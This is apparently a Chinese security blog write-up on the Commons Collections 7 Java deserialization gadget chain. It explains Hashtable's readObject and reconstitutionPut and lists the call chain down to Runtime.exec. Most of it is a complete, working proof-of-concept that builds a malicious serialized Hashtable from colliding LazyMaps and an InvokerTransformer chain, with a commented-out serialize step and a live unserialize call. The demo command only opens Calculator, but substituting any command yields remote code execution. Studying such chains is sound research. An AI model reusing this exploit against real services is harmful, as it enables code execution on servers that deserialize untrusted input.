CommonsCollections7

1、前置知识

Hashtable

Hashtable实现了Map接口和Serializable接口，因此，Hashtable现在集成到了集合框架中。它和HashMap类很相似，但是它支持同步,像HashMap一样，Hashtable在哈希表中存储键/值对。当使用一个哈希表，要指定用作键的对象，以及要链接到该键的值。然后，该键经过哈希处理，所得到的散列码被用作存储在该表中值的索引。

//默认没有参数的构造方，新建为11容量的Hashtable
public Hashtable() {
  this(11, 0.75f);
}
//也可以指定容量
public Hashtable(int initialCapacity) {
  this(initialCapacity, 0.75f);
}
//将指定 key 映射到此哈希表中的指定 value。
public void put(Object key, Object value)
 //
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)

2、POC利用

2.1、利用链

/*
    Payload method chain:
    java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
    org.apache.commons.collections.map.AbstractMapDecorator.equals
    java.util.AbstractMap.equals
    org.apache.commons.collections.map.LazyMap.get
    org.apache.commons.collections.functors.ChainedTransformer.transform
    org.apache.commons.collections.functors.InvokerTransformer.transform
    java.lang.reflect.Method.invoke
    sun.reflect.DelegatingMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke0
    java.lang.Runtime.exec
*/

2.2、POC

2.2.1、漏洞复现

package com.akkacloud;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CommonsCollection7 {
    public static void main(String[] args) throws Exception {
        // Reusing transformer chain and LazyMap gadgets from previous payloads

        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"open /System/Applications/Calculator.app"})
               };

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();


        //使用冲突哈希创建两个Lazymap，以便在readObject期间强制成功进入for循环调用reconstitutionPut
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);


        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");


//        serialize(hashtable);
        unserialize();
    }
    public static void serialize(Object obj ) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static void unserialize() throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
        objectInputStream.readObject();
    }
}

2.2.2、POC分析

由于跟cc6很相似，不再重复说明，直接看两者不同的地方.

主要是hashtable的add方法把Lazymap加入其中，但是为什么要put两次呢，就是存两个lazyMap2到hashtable中呢？

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

//使用冲突哈希创建两个Lazymap，以便在readObject期间强制进行元素比较
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);


// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");

我们来看Hashtable的readObject方法。发现循环调用调用reconstitutionPut方法，elements就是我们传入Hashtable的元素个数，

先看传入的第一个元素既lazymap1，reconstitutionPut方法的参数table就是一个长度为5的空Entry<>[]，key是Lazymap1，value为1，就是我们第一个put进去的元素。跟进reconstitutionPut

我们的漏洞点在for循环里面，但是第一次我们的tab为空，根本进不去，但是在后面会用我们传入的key和value新创建一个Entry<>，并且赋值给tab[index],这就是我们为什么要put两个lazymap到Hashtable里，用于进入reconstitutionPut的for循环去触发我们的漏洞点equal方法。